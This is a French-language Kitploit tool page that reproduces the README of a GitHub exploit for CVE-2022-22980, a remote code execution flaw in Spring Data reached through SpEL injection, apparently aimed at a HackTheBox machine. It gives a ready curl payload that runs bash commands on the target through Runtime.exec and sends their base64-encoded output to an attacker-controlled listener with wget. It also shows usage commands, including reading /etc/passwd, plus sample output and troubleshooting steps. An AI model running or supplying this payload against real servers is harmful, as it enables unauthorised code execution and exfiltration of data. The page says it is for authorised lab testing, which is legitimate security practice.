Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22980 — Exploitation de CVE-2022-22980 | Kitploit
Outils/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Payload GenerationExploitationWeb Application ExploitationCTFCommand and ControlLearning & Education
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Exploitation de CVE-2022-22980

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SpEL RCE Exploit - CVE-2022-22980

Exploit pour l'exécution de code à distance (RCE) sur Spring Data via une injection SpEL (Spring Expression Language).

Descriptions

Vulnérabilité

La boîte expose un endpoint /search qui accepte un paramètre tracking_id vulnérable à l'injection SpEL. Cette injection permet l'exécution d'expressions Java malveillantes directement sur le serveur.

Principe d'exploitation

  1. Injecter une expression SpEL qui exécute une commande shell via Runtime.getRuntime().exec()
  2. Encoder l'output de la commande en base64
  3. Exfiltrer le résultat via une requête HTTP GET vers un listener contrôlé
  4. Décoder et afficher le résultat

Utilisation

Prérequis

  • Python 3.x avec les modules standards (http.server, subprocess, threading, base64)
  • curl sur votre machine locale
  • wget sur la machine cible (pour l'exfiltration)
  • Un port 80 disponible (ou modifier LPORT dans le script)
  • Accès réseau vers la cible

Configuration

Modifiez les paramètres dans le script selon votre environnement :

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

Exécution

root@kitploit:~
# Commande simple
python3 spel_shell.py "whoami"

# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"

# Énumération système
python3 spel_shell.py "uname -a"

# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"

Exemple de sortie

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

Payload manuel (référence)

Si vous voulez tester la payload sans le script :

root@kitploit:~
# Terminal 1 : Démarrer le listener
python3 -m http.server 80

# Terminal 2 : Envoyer la payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

Dépannage

Erreur : "Address already in use"

Le port 80 est occupé. Solutions :

root@kitploit:~
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80

# Arrêter Apache si actif
sudo systemctl stop apache2

# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez

Pas de réponse ("No response received")

  1. Vérifiez la connectivité réseau : Assurez-vous que la cible peut atteindre votre LHOST:LPORT
  2. Testez avec une commande simple : python3 spel_shell.py "echo test"
  3. Vérifiez les droits de port : Le port 80 nécessite sudo sur Linux
  4. Vérifiez l'IP LHOST : Utilisez ifconfig (tun0 pour HTB) et non 127.0.0.1

Erreur de décodage base64

Si vous voyez "Raw data received" au lieu de "Command output", la commande n'a peut-être pas produit d'output valide. Testez une commande qui produit toujours de l'output.

Architecture du script

root@kitploit:~
1. start_server() - Lance un serveur HTTP sur le port 80
                   ↓
2. Envoie la payload SpEL via curl vers la cible
                   ↓
3. La cible exécute la commande et encode le résultat en base64
                   ↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Le Handler reçoit la data et la stocke
                   ↓
6. Le script décode et affiche le résultat

Avertissement

Ce script est fourni à des fins éducatives pour les boîtes HackTheBox. Utilisez-le uniquement sur des environnements que vous avez la permission de tester.


Auteur : Eliasdekiniweek Date : Février 2026
Langue : Python 3

Télécharger l’outil